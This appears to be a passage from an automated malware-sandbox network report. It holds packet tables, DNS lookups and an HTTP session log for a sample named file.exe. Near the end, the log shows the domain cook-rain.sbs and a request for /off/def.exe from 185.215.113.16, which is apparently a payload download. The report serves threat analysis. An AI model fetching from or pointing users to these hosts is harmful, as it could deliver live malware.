Nov 16, 2024 20:13:42.864401102 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.864435911 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.864454985 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.906410933 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.907119989 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.907131910 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.907638073 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.907641888 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.989267111 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.989341021 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.989499092 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.989496946 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.989496946 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.989557981 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.989679098 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.989701986 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.989720106 CET	50095	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.989727974 CET	443	50095	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.992640972 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.992682934 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:42.992759943 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.992899895 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:42.992908001 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035085917 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035135984 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035191059 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.035202980 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035254002 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035360098 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.035737038 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.035751104 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.035759926 CET	50097	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.035765886 CET	443	50097	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.038254023 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.038297892 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.038381100 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.038513899 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.038526058 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.266560078 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.267112017 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.267143011 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.267606974 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.267618895 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.394975901 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.395037889 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.395093918 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.395371914 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.395390987 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.395437002 CET	50098	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.395451069 CET	443	50098	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.398097038 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.398497105 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.398510933 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.398538113 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.398576021 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.398653984 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.398756027 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.398761988 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.399090052 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.399094105 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.527362108 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.527467966 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.527564049 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.527915001 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.527928114 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.527935982 CET	50099	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.527941942 CET	443	50099	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.531083107 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.531095982 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.531205893 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.531380892 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.531395912 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.549638033 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.550034046 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.550064087 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.550496101 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.550503016 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.678608894 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.678786993 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.678872108 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.680435896 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.680459023 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.680474997 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.680481911 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.683887959 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.683913946 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.683980942 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.684148073 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.684159040 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.726813078 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.727452040 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.727468967 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.727924109 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.727929115 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.781198025 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.781663895 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.781694889 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.782111883 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.782119989 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.854717016 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.854871988 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.854957104 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.855087996 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.855110884 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.855119944 CET	50101	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.855124950 CET	443	50101	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.857990026 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.858021021 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.858093977 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.858217955 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.858234882 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913228989 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913295984 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913356066 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.913377047 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913408995 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913455009 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.913533926 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.913548946 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:43.913570881 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:43.913577080 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.123569965 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.124218941 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.124248028 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.124706030 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.124712944 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.253645897 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.253715992 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.253839016 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.254127979 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.254154921 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.254180908 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.254194021 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.288443089 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.288922071 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.288965940 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.289397955 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.289410114 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.424154997 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.424215078 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.424314976 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.424607038 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.424627066 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.424650908 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.424664974 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.614609957 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.615298986 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.615355968 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.615933895 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.615947962 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.627250910 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.627666950 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.627708912 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.628068924 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.628081083 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.745682001 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.745847940 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.745939016 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.746202946 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.746243000 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.746270895 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.746284962 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.754591942 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.754736900 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.754815102 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.754954100 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.754986048 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:44.755012989 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:44.755026102 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:47.316221952 CET	63283	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:47.321166992 CET	53	63283	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:47.323417902 CET	63283	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:47.323474884 CET	63283	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:47.328257084 CET	53	63283	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:47.917282104 CET	53	63283	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:47.918231010 CET	63283	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:47.923569918 CET	53	63283	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:47.923683882 CET	63283	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:48.620143890 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:48.620181084 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:48.620273113 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:48.620522022 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:48.620538950 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:49.474961996 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:49.475271940 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:49.475280046 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:49.475737095 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:49.476308107 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:49.476387024 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:49.524950027 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:13:59.468219042 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:59.468370914 CET	443	63287	142.250.184.196	192.168.2.4
Nov 16, 2024 20:13:59.468516111 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:14:00.531872988 CET	63287	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:14:00.531904936 CET	443	63287	142.250.184.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 20:12:08.659637928 CET	64253	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:08.704216003 CET	53	64253	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:19.048224926 CET	138	138	192.168.2.4	192.168.2.255
Nov 16, 2024 20:12:44.119651079 CET	53	57532	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:44.133332968 CET	53	50626	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:45.421521902 CET	53	65262	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:48.272836924 CET	61530	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.272938013 CET	51637	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.314157963 CET	62596	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.314460039 CET	62313	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.556700945 CET	52537	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.556883097 CET	63828	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:48.563905954 CET	53	52537	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:48.564610004 CET	53	63828	1.1.1.1	192.168.2.4
Nov 16, 2024 20:12:50.614212036 CET	53668	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:50.614337921 CET	58210	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:12:56.337824106 CET	53	63999	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:02.831484079 CET	53	58318	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:21.799431086 CET	53	62373	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:44.023951054 CET	53	64142	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:44.551000118 CET	53	54843	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:47.314788103 CET	53	52043	1.1.1.1	192.168.2.4
Nov 16, 2024 20:13:48.323491096 CET	50180	53	192.168.2.4	1.1.1.1
Nov 16, 2024 20:13:48.323695898 CET	59047	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 16, 2024 20:12:49.441559076 CET	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable
Nov 16, 2024 20:13:03.744421005 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 20:12:08.659637928 CET	192.168.2.4	1.1.1.1	0x1c7e	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.272836924 CET	192.168.2.4	1.1.1.1	0xad97	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.272938013 CET	192.168.2.4	1.1.1.1	0xad2b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 20:12:48.314157963 CET	192.168.2.4	1.1.1.1	0xbabb	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.314460039 CET	192.168.2.4	1.1.1.1	0xb477	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 16, 2024 20:12:48.556700945 CET	192.168.2.4	1.1.1.1	0xbcbc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.556883097 CET	192.168.2.4	1.1.1.1	0x5dc2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 20:12:50.614212036 CET	192.168.2.4	1.1.1.1	0x8bf2	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:50.614337921 CET	192.168.2.4	1.1.1.1	0xc651	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 20:13:48.323491096 CET	192.168.2.4	1.1.1.1	0x6e29	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:13:48.323695898 CET	192.168.2.4	1.1.1.1	0xd38e	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 20:12:08.704216003 CET	1.1.1.1	192.168.2.4	0x1c7e	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:08.704216003 CET	1.1.1.1	192.168.2.4	0x1c7e	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.211144924 CET	1.1.1.1	192.168.2.4	0x26ad	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.211144924 CET	1.1.1.1	192.168.2.4	0x26ad	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.211144924 CET	1.1.1.1	192.168.2.4	0x26ad	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.212038040 CET	1.1.1.1	192.168.2.4	0xe917	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280247927 CET	1.1.1.1	192.168.2.4	0xad97	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280247927 CET	1.1.1.1	192.168.2.4	0xad97	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280247927 CET	1.1.1.1	192.168.2.4	0xad97	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280247927 CET	1.1.1.1	192.168.2.4	0xad97	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280816078 CET	1.1.1.1	192.168.2.4	0xad2b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.280816078 CET	1.1.1.1	192.168.2.4	0xad2b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.335053921 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.337016106 CET	1.1.1.1	192.168.2.4	0xbabb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:48.563905954 CET	1.1.1.1	192.168.2.4	0xbcbc	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:48.564610004 CET	1.1.1.1	192.168.2.4	0x5dc2	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 20:12:49.537770033 CET	1.1.1.1	192.168.2.4	0x545b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:49.537770033 CET	1.1.1.1	192.168.2.4	0x545b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:49.537770033 CET	1.1.1.1	192.168.2.4	0x545b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:49.538569927 CET	1.1.1.1	192.168.2.4	0x664e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621485949 CET	1.1.1.1	192.168.2.4	0x8bf2	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621485949 CET	1.1.1.1	192.168.2.4	0x8bf2	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621485949 CET	1.1.1.1	192.168.2.4	0x8bf2	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621485949 CET	1.1.1.1	192.168.2.4	0x8bf2	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621750116 CET	1.1.1.1	192.168.2.4	0xc651	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:50.621750116 CET	1.1.1.1	192.168.2.4	0xc651	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:59.541168928 CET	1.1.1.1	192.168.2.4	0xb460	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:12:59.556035042 CET	1.1.1.1	192.168.2.4	0xc90	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:13:03.727174997 CET	1.1.1.1	192.168.2.4	0x8622	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:13:03.744354010 CET	1.1.1.1	192.168.2.4	0x3366	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:13:48.332175016 CET	1.1.1.1	192.168.2.4	0xd38e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 20:13:48.333285093 CET	1.1.1.1	192.168.2.4	0x6e29	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 20:12:32.407546043 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
